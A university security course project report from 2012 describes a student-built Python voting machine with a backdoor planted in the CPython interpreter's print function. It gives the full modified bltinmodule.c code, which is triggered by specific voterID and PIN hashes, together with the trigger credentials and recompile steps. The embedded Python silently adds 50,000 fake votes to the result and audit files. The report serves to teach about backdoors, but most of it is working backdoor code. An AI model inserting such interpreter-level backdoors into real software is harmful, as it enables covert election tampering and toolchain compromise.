CS 600.443 — Security & Privacy

Project 2 — Project Report

Team Members
Parsia Hakimian
Kartik Thapar

Date
10/23/2012

1 Introduction

The team created a voting machine system in software to demonstrate a working hidden backdoor that can influence the election outcome when triggered using specific actions. This section briefly describes the overall approach to writing a good voting machine system. Section 2, 'Backdoor For Fun & Profit' describes the backdoor and its implementation in detail.

1.1 Voting Machine

1.1.1 Parameters

The entire voting machine is programmed using Python. Python was chosen as the programming (scripting) language for its remarkable flexibility in a number of areas — designing fast and flexible GUI interfaces, easy file handling & database management, implementing network connections, efficient and easy cryptography, and ease of document parsing.

1.1.2 Design

The voting machine is abstracted into two parts — *client* and *server*.

Client is the actual user-end voting machine. This has a simple GUI interface to accomplish the following action-flow—

1. **Authentication (Login) Screen:** The voter authenticates itself by entering a database registered voterID plus the authentication 4 Byte PIN. For now, the PIN accepts all characters and numbers but the specification only checks for a 4 Byte 'numbered' PIN, for e.g. *2525*. The voter must also authenticate using a private key that is generated by the software for the purpose of verification. These private keys and their corresponding public keys are not signed by the root CA, but in the actual implementation, they **must** be.
2. **Selection Screen(s)**: The selection screens are three distinguished ballots that ask the voter to vote for their 'president', 'congress', 'counsel' individually. Over-voting is not allowed; and the voters are warned for under-voting.

Server includes the server handling client requests and the voter-info database. The server authenticates the client, the voter and the votes and acknowledges all requests from the client.

2 Backdoor For Fun & Profit

2.1 Thoughts

Following is a list of backdoor ideas (with their brief description)—

2.1.1 Passcode/PIN Regression

Planting a swift backdoor in the passcode/PIN field. This backdoor would trigger when the user would enter 1119 in the passcode field ⇒ click on 'Toggle Pin' ⇒ replace passcode with 'JHU9'. This would have resulted in client sending garbled encrypted dictionary with 'X' in all the specified fields. Once the server detects this behavior, it would append the AuditLog and Result files with the specific votes.

2.1.2 Mouse Action events

Using the coordinates of the mouse pointer, if the mouse would move in a well defined direction, for e.g. continuously creating concentric circles of decreasing radius on all four corners of the screen, the client would automatically send encrypted dictionary with 'X' in all the specified fields. Once again, the server would detect this behavior and append specific votes to the AuditLog and Result files.

2.1.3 Keyboard Action events

Working on a similar trajectory to the 'Mouse Action Events' idea, this would require the keyboard to produce specific strokes to trigger the client, to send hacked dictionaries to the server.

2.1.4 RSA/AES Decryption

The backdoor would be implemented in M2Crypto (or PyCrypto) source code. Although, this document does not detail the crypto implemented between the client and the server (as it would require a chapter in itself) it is essential to understand what's happening behind the scenes. See section 3 for a brief explanation.

Here we encrypt the hash of `voterID + PIN` using the public key of the voter. This is exactly where we would place the backdoor, i.e. in the encryptRSA method. For a particular hash, the server would write hundreds of thousands of specific logs to the AuditLog file and change the outcome in the result file.

2.2 Design

As noted, the aforementioned are simply some of the ideas that the team discussed for a possible backdoor. Fortunately, the team wanted something that was a bit more imperceivable.

So in simple terms, we went deep down and planted the backdoor in the Python interpreter.

2.3 Implementation

We use `print` commands everywhere in our code, especially in the server code to **log** all the data to log files or the *standard output* itself. We take the advantage of **this** very aspect and try to plant the backdoor inside the print function. Alas, `print` in Python (less than 3.0) is not a function. But the `__future__` module provides a print_function feature to make *print* as a function. From PyDoc—

> `__future__` is a real module.

The __future__ module uses the **builtin_print** method implementation from **bltinmodule.c**. So, we hack the `builtin_print` function defined in `bltinmodule.c` and replace it with a working function containing a backdoor.

Following steps will ensure this—

```
# go to python source
> cd .../Python-2.7.3/

# replace the bltinmodule.c file
> replace_bltinmodule_file()

# now recompile python
> ./configure
> make install
```

Following is the code for the original `builtin_print` method—

```
static PyObject *
builtin_print(PyObject *self, PyObject *args, PyObject *kwds){
    ...
    for (i = 0; i < PyTuple_Size(args); i++) {
        if (i > 0) {
            if (sep == NULL)
                err = PyFile_WriteObject(space, file,
                                         Py_PRINT_RAW);
            else
                err = PyFile_WriteObject(sep, file,
                                         Py_PRINT_RAW);
            if (err)
                return NULL;
        }
    err = PyFile_WriteObject(o, file, Py_PRINT_RAW);
    if (err)
        return NULL;
}
```

We hack this code such that for a particular value, the print function does more than it actually should. Just before the `err = PyFile_WriteObject...` code segment in the above code, we plant a series of if-else statements. For a particular argument to the `print` function (which is a base64 encoded hash of voterID + PIN), a specific function is called that runs a different code sequence to change the AuditLog and Result files. Following describes the hack—

```
PyObject *o = PyTuple_GetItem(args, i);

//hhp0
if (PyUnicode_CheckExact(o)) {
    PyObject* utf8 = PyUnicode_AsUTF16String(o);
    if (strcmp(PyString_AsString(o),
        "lZtGbLgim+Lp0ELy2efDXmOHZcw3Wi4fwZnS+qUgbWg=")==0){
        do_hhp0();
    }
    Py_DECREF(utf8);
}
```

So if the encode hash corresponds to—

`'lZtGbLgim+Lp0ELy2efDXmOHZcw3Wi4fwZnS+qUgbWg='`

`do_hhp()` is executed. Similarly for other hashes, other methods are included that change AuditLog and Result files in different ways.

2.3.1 What does do_hhp0() do?

`do_hhp0()` runs python code embedded in *c*. It selectively changes the votes for one of the presidents and sways the election result in favor of him. `do_hhp0()` along with the entire backdoor code is given in the appendix.

2.4 Triggering Thy Backdoor

To use `print` from the `future` module, we do—

```
from __future__ import print_function
print('Something is phishy!')
```

Let's assume that I am person who developed the voting machine and planted the backdoor in it. I will simply go to the voting machine system and in the authentication screen, I will enter a bad voterID and a PIN. It is highly possible that this voterID is not in the database on the server-side at all (which is the case in our code).

The client encrypts the hash of voterID and PIN and sends it through a secure channel. The server decrypts this and logs a message to the standard output—

```
print(decryptedHash, end = ' ')
print('trying to connect...')
```

As soon the first line executes, the backdoor operates and edits the required files. One must take a note, that the server always logs this message before authenticating the voter. In our case as the voter is not in the database, the server never authenticates the voter; it only changes the entire outcome of the election.

For a particular voterID and PIN, the server is going to dump thousands of illegal votes to the AuditLog and Result file databases.

2.5 Extent of the Backdoor

As can be seen, the extent and capabilities of this backdoor are huge. Based on selective hashing, one can change the entire outcome of the election, vote only a few number of times, reverse votes, nullify the election by storing 0 in all the places. Therefore, the team doesn't specifically favor any of the specific presidents or congress members but as a proof of concept following are the voterID and PIN combinations which will result in a different set of results—

```
//input voterID + PIN values
//b64encode(sha256(voterID + PIN).digest())

//For PRESIDENTS======================================================
char *in[] = {"AvR00720120007", "AvR07020120070", "AvR70020120700"};
char *hhp[] = {
        'lZtGbLgim+Lp0ELy2efDXmOHZcw3Wi4fwZnS+qUgbWg=',
        'hy2MqAN2msnXHnBmIbPwlwg9gSSQICtZe9V06QT7t4s=',
        '0fVCGW5rjcpUV5QY+TJhmFP2eb2co4VajxBoRLOWvx4='
}

//For CONGRESS========================================================
char *in[] = {'0mNiDeth171666'}
char *hhcg[] = {'UpffXyYaMuonwtIZm5/MvBAzohW+o+DSlVm9X2/F2S0='}

//For COUNCIL=========================================================
char *in[] = {'lAnFeaR___0000'}
char *hhcn[] = {'kdjpSPPunahm0MFAttdRJqYhAIpAwVjMR432RleANNU='}
```

For e.g. voterID: 'AvR0072012' with a PIN: '0007' will add 50,000 votes to President 'Alpha'.

Similarly 0mNiDeth17 and 1666 would favor congress member 'Epsilon' and lAnFeaR_ _ _ and 0000 will favor counsel member 'Delta'.

2.5.1 Futuristic Approach

The backdoor is implemented in place and the principal idea (as discussed above) allows it to be highly flexible. This approach will result in future elections to have the same backdoor. So even if the contestants for the president or other posts change, the backdoor will still be valid.

3 Appendix

3.1 Backdoor Code

Following is a code listing for various embedded python functions that do different things. They selectively change outcome for different presidents or congress and counsel members.

```
// ... bltinmodule.c <other code>

include "unicodeobject.h"

// ... bltinmodule.c <other code>

void do_hhp0(void){
Py_Initialize();
PyRun_SimpleString(
"import sys, pickle\n"
"sys.path.append('..')\n"

"def changeResultsFile(noOfFakeUsers):\n"
" filePath = 'ResultFile.pkl'\n"

" inputFile = open(filePath, 'rb')\n"
" voteBank = pickle.load(inputFile)\n"
" inputFile.close()\n"

" presidentCount = voteBank['president']\n"
" congressCount = voteBank['congress']\n"
" counselCount = voteBank['counsel']\n"
" presidentCount[0] = presidentCount[0] + noOfFakeUsers\n"
" resultDict = {\n"
" 'president' : presidentCount,\n"
" 'congress' : congressCount,\n"
" 'counsel' : counselCount\n"
" }\n"

" output = open('ResultFile.pkl', 'wb')\n"
" pickle.dump(resultDict, output)\n"
" output.close()\n"

"def changeAuditLogFile(noOfFakeUsers):\n"
" counter = 0\n"

" try:\n"
" counterFile = open('CounterPL.txt', 'r')\n"
" counter = int(counterFile.read())\n"
" counterFile.close()\n"
" except IOError:\n"
" counterFile = open('CounterPL.txt', 'w')\n"
" counterFile.write(str(0))\n"
" counterFile.close()\n"

" counter += noOfFakeUsers\n"

" counterFile = open('CounterPL.txt', 'w')\n"
" counterFile.write(str(counter))\n"
" counterFile.close()\n"

" output = open('AuditLog.pkl', 'ab')\n"

" for i in range(0, noOfFakeUsers):\n"
" voteDict = {\n"
" 'I_AM_BATMAN' + str(i) : {\n"
" 'president' : [0],\n"
" 'congress' : [],\n"
" 'counsel' : []\n"
" }\n"
" }\n"
" pickle.dump(voteDict, output)\n"
" output.close()\n"

"def main():\n"
" noOfFakeUsers = 50000\n"
" changeResultsFile(noOfFakeUsers)\n"
" changeAuditLogFile(noOfFakeUsers)\n"

"if __name__ == '__main__':\n"
" main()"
);
}

void do_hhp1(void){
Py_Initialize();
PyRun_SimpleString(

"import sys, pickle\n"
"sys.path.append('..')\n"
```

```
"def changeResultsFile(noOfFakeUsers):\n"
" filePath = 'ResultFile.pkl'\n"

" inputFile = open(filePath, 'rb')\n"
" voteBank = pickle.load(inputFile)\n"
" inputFile.close()\n"

" presidentCount = voteBank['president']\n"
" congressCount = voteBank['congress']\n"
" counselCount = voteBank['counsel']\n"
" presidentCount[1] = presidentCount[1] + noOfFakeUsers\n"
" resultDict = {\n"
" 'president' : presidentCount,\n"
" 'congress' : congressCount,\n"
" 'counsel' : counselCount\n"
" }\n"

" output = open('ResultFile.pkl', 'wb')\n"
" pickle.dump(resultDict, output)\n"
" output.close()\n"

"def changeAuditLogFile(noOfFakeUsers):\n"
" counter = 0\n"

" try:\n"
" counterFile = open('CounterPL.txt', 'r')\n"
" counter = int(counterFile.read())\n"
" counterFile.close()\n"
" except IOError:\n"
" counterFile = open('CounterPL.txt', 'w')\n"
" counterFile.write(str(0))\n"
" counterFile.close()\n"

" counter += noOfFakeUsers\n"

" counterFile = open('CounterPL.txt', 'w')\n"
" counterFile.write(str(counter))\n"
" counterFile.close()\n"

" output = open('AuditLog.pkl', 'ab')\n"

" for i in range(0, noOfFakeUsers):\n"
" voteDict = {\n"
" 'I_AM_BATMAN' + str(i) : {\n"
" 'president' : [1],\n"
" 'congress' : [],\n"
" 'counsel' : []\n"
" }\n"
" }\n"
" pickle.dump(voteDict, output)\n"
" output.close()\n"

"def main():\n"
" noOfFakeUsers = 50000\n"
" changeResultsFile(noOfFakeUsers)\n"
" changeAuditLogFile(noOfFakeUsers)\n"

"if __name__ == '__main__':\n"
" main()"
);
}

void do_hhp2(void){
Py_Initialize();
PyRun_SimpleString(
"import sys, pickle\n"
"sys.path.append('..')\n"

"def changeResultsFile(noOfFakeUsers):\n"
" filePath = 'ResultFile.pkl'\n"

" inputFile = open(filePath, 'rb')\n"
" voteBank = pickle.load(inputFile)\n"
" inputFile.close()\n"

" presidentCount = voteBank['president']\n"
" congressCount = voteBank['congress']\n"
" counselCount = voteBank['counsel']\n"
" presidentCount[2] = presidentCount[2] + noOfFakeUsers\n"
" resultDict = {\n"
" 'president' : presidentCount,\n"
" 'congress' : congressCount,\n"
" 'counsel' : counselCount\n"
" }\n"

" output = open('ResultFile.pkl', 'wb')\n"
" pickle.dump(resultDict, output)\n"
" output.close()\n"

"def changeAuditLogFile(noOfFakeUsers):\n"
" counter = 0\n"

" try:\n"
" counterFile = open('CounterPL.txt', 'r')\n"
" counter = int(counterFile.read())\n"
" counterFile.close()\n"
" except IOError:\n"
" counterFile = open('CounterPL.txt', 'w')\n"
" counterFile.write(str(0))\n"
" counterFile.close()\n"

" counter += noOfFakeUsers\n"

" counterFile = open('CounterPL.txt', 'w')\n"
" counterFile.write(str(counter))\n"
" counterFile.close()\n"

" output = open('AuditLog.pkl', 'ab')\n"

" for i in range(0, noOfFakeUsers):\n"
" voteDict = {\n"
" 'I_AM_BATMAN' + str(i) : {\n"
" 'president' : [2],\n"
" 'congress' : [],\n"
" 'counsel' : []\n"
" }\n"
" }\n"
" pickle.dump(voteDict, output)\n"
" output.close()\n"

"def main():\n"
" noOfFakeUsers = 50000\n"
" changeResultsFile(noOfFakeUsers)\n"
" changeAuditLogFile(noOfFakeUsers)\n"

"if __name__ == '__main__':\n"
" main()"
);
}
```

```
void do_hhcg(void){
Py_Initialize();
PyRun_SimpleString(

"import sys, pickle\n"
"sys.path.append('..')\n"

"def changeResultsFile(noOfFakeUsers):\n"
" filePath = 'ResultFile.pkl'\n"

" inputFile = open(filePath, 'rb')\n"
" voteBank = pickle.load(inputFile)\n"
" inputFile.close()\n"

" presidentCount = voteBank['president']\n"
" congressCount = voteBank['congress']\n"
" counselCount = voteBank['counsel']\n"
" congressCount[4] = congressCount[4] + noOfFakeUsers\n"
" resultDict = {\n"
" 'president' : presidentCount,\n"
" 'congress' : congressCount,\n"
" 'counsel' : counselCount\n"
" }\n"

" output = open('ResultFile.pkl', 'wb')\n"
" pickle.dump(resultDict, output)\n"
" output.close()\n"

"def changeAuditLogFile(noOfFakeUsers):\n"
" counter = 0\n"

" try:\n"
" counterFile = open('CounterPL.txt', 'r')\n"
" counter = int(counterFile.read())\n"
" counterFile.close()\n"
" except IOError:\n"
" counterFile = open('CounterPL.txt', 'w')\n"
" counterFile.write(str(0))\n"
" counterFile.close()\n"

" counter += noOfFakeUsers\n"
" counterFile = open('CounterPL.txt', 'w')\n"
" counterFile.write(str(counter))\n"
" counterFile.close()\n"

" output = open('AuditLog.pkl', 'ab')\n"

" for i in range(0, noOfFakeUsers):\n"
" voteDict = {\n"
" 'I_AM_BATMAN' + str(i) : {\n"
" 'president' : [],\n"
" 'congress' : [4],\n"
" 'counsel' : []\n"
" }\n"
" }\n"
" pickle.dump(voteDict, output)\n"
" output.close()\n"

"def main():\n"
" noOfFakeUsers = 50000\n"
" changeResultsFile(noOfFakeUsers)\n"
" changeAuditLogFile(noOfFakeUsers)\n"

"if __name__ == '__main__':\n"
" main()"
);
}

void do_hhcn(void){
Py_Initialize();
PyRun_SimpleString(

"import sys, pickle\n"
"sys.path.append('..')\n"

"def changeResultsFile(noOfFakeUsers):\n"
" filePath = 'ResultFile.pkl'\n"

" inputFile = open(filePath, 'rb')\n"
" voteBank = pickle.load(inputFile)\n"
" inputFile.close()\n"

" presidentCount = voteBank['president']\n"
" congressCount = voteBank['congress']\n"
" counselCount = voteBank['counsel']\n"
" counselCount[3] = counselCount[3] + noOfFakeUsers\n"
" resultDict = {\n"
" 'president' : presidentCount,\n"
" 'congress' : congressCount,\n"
" 'counsel' : counselCount\n"
" }\n"

" output = open('ResultFile.pkl', 'wb')\n"
" pickle.dump(resultDict, output)\n"
" output.close()\n"

"def changeAuditLogFile(noOfFakeUsers):\n"
" counter = 0\n"

" try:\n"
" counterFile = open('CounterPL.txt', 'r')\n"
" counter = int(counterFile.read())\n"
" counterFile.close()\n"
" except IOError:\n"
" counterFile = open('CounterPL.txt', 'w')\n"
" counterFile.write(str(0))\n"
" counterFile.close()\n"

" counter += noOfFakeUsers\n"

" counterFile = open('CounterPL.txt', 'w')\n"
" counterFile.write(str(counter))\n"
" counterFile.close()\n"

" output = open('AuditLog.pkl', 'ab')\n"

" for i in range(0, noOfFakeUsers):\n"
" voteDict = {\n"
" 'I_AM_BATMAN' + str(i) : {\n"
" 'president' : [],\n"
" 'congress' : [],\n"
" 'counsel' : [3]\n"
" }\n"
" }\n"
" pickle.dump(voteDict, output)\n"
" output.close()\n"
```

```
"def main():\n"
" noOfFakeUsers = 50000\n"
" changeResultsFile(noOfFakeUsers)\n"
" changeAuditLogFile(noOfFakeUsers)\n"

"if __name__ == '__main__':\n"
" main()"
);
}
```

The following listing shows the hacked `builtin_print` method inside `bltinmodule.c`

```
static PyObject *
builtin_print(PyObject *self, PyObject *args, PyObject *kwds)
{
    static char *kwlist[] = {"sep", "end", "file", 0};
    static PyObject *dummy_args = NULL;
    static PyObject *unicode_newline = NULL, *unicode_space = NULL;
    static PyObject *str_newline = NULL, *str_space = NULL;
    PyObject *newline, *space;
    PyObject *sep = NULL, *end = NULL, *file = NULL;
    int i, err, use_unicode = 0;

    if (dummy_args == NULL) {
        if (!(dummy_args = PyTuple_New(0)))
            return NULL;
    }
    if (str_newline == NULL) {
        str_newline = PyString_FromString("\n");
        if (str_newline == NULL)
            return NULL;
        str_space = PyString_FromString(" ");
        if (str_space == NULL) {
            Py_CLEAR(str_newline);
            return NULL;
        }
        unicode_newline = PyUnicode_FromString("\n");
        if (unicode_newline == NULL) {
            Py_CLEAR(str_newline);
            Py_CLEAR(str_space);
            return NULL;
        }
        unicode_space = PyUnicode_FromString(" ");
        if (unicode_space == NULL) {
```

```
        Py_CLEAR(str_newline);
        Py_CLEAR(str_space);
        Py_CLEAR(unicode_space);
        return NULL;
    }
}
if (!PyArg_ParseTupleAndKeywords(dummy_args, kwds, "|OOO:print",
                                 kwlist, &sep, &end, &file))
    return NULL;
if (file == NULL || file == Py_None) {
    file = PySys_GetObject("stdout");
    /* sys.stdout may be None when FILE* stdout isn't connected */
    if (file == Py_None)
        Py_RETURN_NONE;
}
if (sep == Py_None) {
    sep = NULL;
}
else if (sep) {
    if (PyUnicode_Check(sep)) {
        use_unicode = 1;
    }
    else if (!PyString_Check(sep)) {
        PyErr_Format(PyExc_TypeError,
                     "sep must be None, str or unicode, not %.200s",
                     sep->ob_type->tp_name);
        return NULL;
    }
}
if (end == Py_None)
    end = NULL;
else if (end) {
    if (PyUnicode_Check(end)) {
        use_unicode = 1;
    }
    else if (!PyString_Check(end)) {
        PyErr_Format(PyExc_TypeError,
                     "end must be None, str or unicode, not %.200s",
                     end->ob_type->tp_name);
        return NULL;
    }
}
```

```
    if (!use_unicode) {
        for (i = 0; i < PyTuple_Size(args); i++) {
            if (PyUnicode_Check(PyTuple_GET_ITEM(args, i))) {
                use_unicode = 1;
                break;
            }
        }
    }
    if (use_unicode) {
        newline = unicode_newline;
        space = unicode_space;
    }
    else {
        newline = str_newline;
        space = str_space;
    }

    for (i = 0; i < PyTuple_Size(args); i++) {
        if (i > 0) {
            if (sep == NULL)
                err = PyFile_WriteObject(space, file,
                                         Py_PRINT_RAW);
            else
                err = PyFile_WriteObject(sep, file,
                                         Py_PRINT_RAW);
            if (err)
                return NULL;
        }

//HACKED code starts here --- this line is not a part of bltinmodule.c
//==================================================================
PyObject *o = PyTuple_GetItem(args, i);

//hhp0
if (PyUnicode_CheckExact(o)) {
    PyObject* utf8 = PyUnicode_AsUTF16String(o);
    if (strcmp(PyString_AsString(o),
        "lZtGbLgim+Lp0ELy2efDXmOHZcw3Wi4fwZnS+qUgbWg=")==0) {
    do_hhp0();
    }
    Py_DECREF(utf8);
}//hhp1
else if (PyUnicode_CheckExact(o)) {
    PyObject* utf8 = PyUnicode_AsUTF16String(o);
    if (strcmp(PyString_AsString(o),
        "hy2MqAN2msnXHnBmIbPwlwg9gSSQICtZe9V06QT7t4s=")==0) {
    do_hhp1();
    }
    Py_DECREF(utf8);
}//hhp2
else if (PyUnicode_CheckExact(o)) {
    PyObject* utf8 = PyUnicode_AsUTF16String(o);
    if (strcmp(PyString_AsString(o),
        "OfVCGW5rjcpUV5QY+TJhmFP2eb2co4VajxBoRLOWvx4=")==0) {
    do_hhp2();
    }
    Py_DECREF(utf8);
}//hhcg
else if (PyUnicode_CheckExact(o)) {
    PyObject* utf8 = PyUnicode_AsUTF16String(o);
    if (strcmp(PyString_AsString(o),
        "UpffXyYaMuonwtIZm5/MvBAzohW+o+DSlVm9X2/F2S0=")==0) {
    do_hhcg();
    }
    Py_DECREF(utf8);
}//hhcn
else if (PyUnicode_CheckExact(o)) {
    PyObject* utf8 = PyUnicode_AsUTF16String(o);
    if (strcmp(PyString_AsString(o),
        "kdjpSPPunahmOMFAttdRJqYhAIpAwVjMR432RleANNU=")==0) {
    do_hhcn();
    }
    Py_DECREF(utf8);
}
else if (PyString_CheckExact(o) && strcmp(PyString_AsString(o),
        "lZtGbLgim+LpOELy2efDXmOHZcw3Wi4fwZnS+qUgbWg=")==0){
    do_hhp0();
}
else if (PyString_CheckExact(o) && strcmp(PyString_AsString(o),
        "hy2MqAN2msnXHnBmIbPwlwg9gSSQICtZe9V06QT7t4s=")==0){
    do_hhp1();
}
else if (PyString_CheckExact(o) && strcmp(PyString_AsString(o),
        "OfVCGW5rjcpUV5QY+TJhmFP2eb2co4VajxBoRLOWvx4=")==0){
    do_hhp2();
}
```

```
else if (PyString_CheckExact(o) && strcmp(PyString_AsString(o),
        "UpffXyYaMuonwtIZm5/MvBAzohW+o+DSlVm9X2/F2S0=")==0){
    do_hhcg();
}
else if (PyString_CheckExact(o) && strcmp(PyString_AsString(o),
        "kdjpSPPunahm0MFAttdRJqYhAIpAwVjMR432RleANNU=")==0){
    do_hhcn();
}
//for normal print
else{
    err = PyFile_WriteObject(o, file, Py_PRINT_RAW);
    if (err)
        return NULL;
}
    }

    if (end == NULL)
        err = PyFile_WriteObject(newline, file, Py_PRINT_RAW);
    else
        err = PyFile_WriteObject(end, file, Py_PRINT_RAW);
    if (err)
        return NULL;

    Py_RETURN_NONE;
}
```

3.2 Crypto Code for RSA/AES Decryption

A very brief description of only some of the crypto is given below—

- The client sends a hash of the $voterID + PIN$ over SSL and the server decrypts this hash using the shared AES key.

  ```
  @client
  encryptAES(sessionKey, hash(voterID, PIN))

  @server
  decryptAES(sessionKey, hash(voterID, PIN))
  ```

- The server checks for the hash in the database and finds the public key of the specific voter. It then encrypts the $voterID + PIN$ with the public key and sends it back to the client. Client decrypts this value using the private key of the user and checks it it matches with the original hash of the $voterID + PIN$.

```
@server
encryptAES(sessionKey, encryptRSA(pubKey, hash(voterID, PIN)))*

@client
decryptAES(sessionKey, encryptRSA(pubKey, hash(voterID, PIN)))
decryptRSA(privateKey, encryptRSA(pubKey, hash(voterID, PIN)))
```